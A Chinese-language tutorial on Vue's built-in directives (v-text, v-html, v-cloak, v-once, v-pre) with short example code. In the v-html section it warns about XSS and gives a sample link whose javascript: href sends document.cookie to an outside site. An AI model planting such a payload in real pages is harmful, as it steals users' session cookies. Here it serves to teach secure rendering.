VUE内置指令

v-text

• 向其所在的节点中渲染文本内容。 (纯文本渲染)
• 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<div id="root">
    {{ name }}
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data:{
            name:'上海',
            //注意v-text不会解析标签，而是直接将标签当纯文本解析
            str:'<h1>hello, shanghai</h1>'
        }
    })
</script>

v-html

• 向指定节点中渲染包含html结构的内容。
• v-html会替换掉节点中所有的内容，{{xx}}则不会。
• v-html可以识别html结构。
• v-html有安全性问题！！！！
• (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
• (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<div id="root">
    <div v-text="name"></div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
        el: "#root",
        data:{
            name:'上海',
            //注意v-html会解析标签，这点与v-text不一样
            str:'<h1>hello, shanghai</h1>',
            //危险行为 永远不要相信用户的输入
            str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'
        }
    })
</script>

v-cloak

• 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
• 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<div id="root" v-cloak>
    {{name}}
</div>

<script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
        el: "#root",
        data: {
            name: '上海'
        }
    })
</script>

<style>
    [v-cloak] {
        display: none;
    }
</style>

v-once

• v-once所在节点在初次动态渲染后，就视为静态内容了。
• 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

 

<div id="root">
    <h2 v-once>初始化n的值为:{{ n }}</h2>
    <h2>当前的n值为:{{ n }}</h2>
    <button @click="n++">带我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
        el: "#root",
        data: {
            n: 0
        }
    })
</script>

v-pre

• 跳过其所在节点的编译过程。
• 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
• 元素内具有 v-pre，所有 Vue 模板语法都会被保留并按原样渲染

 <span v-pre>{{ this will not be compiled }}</span>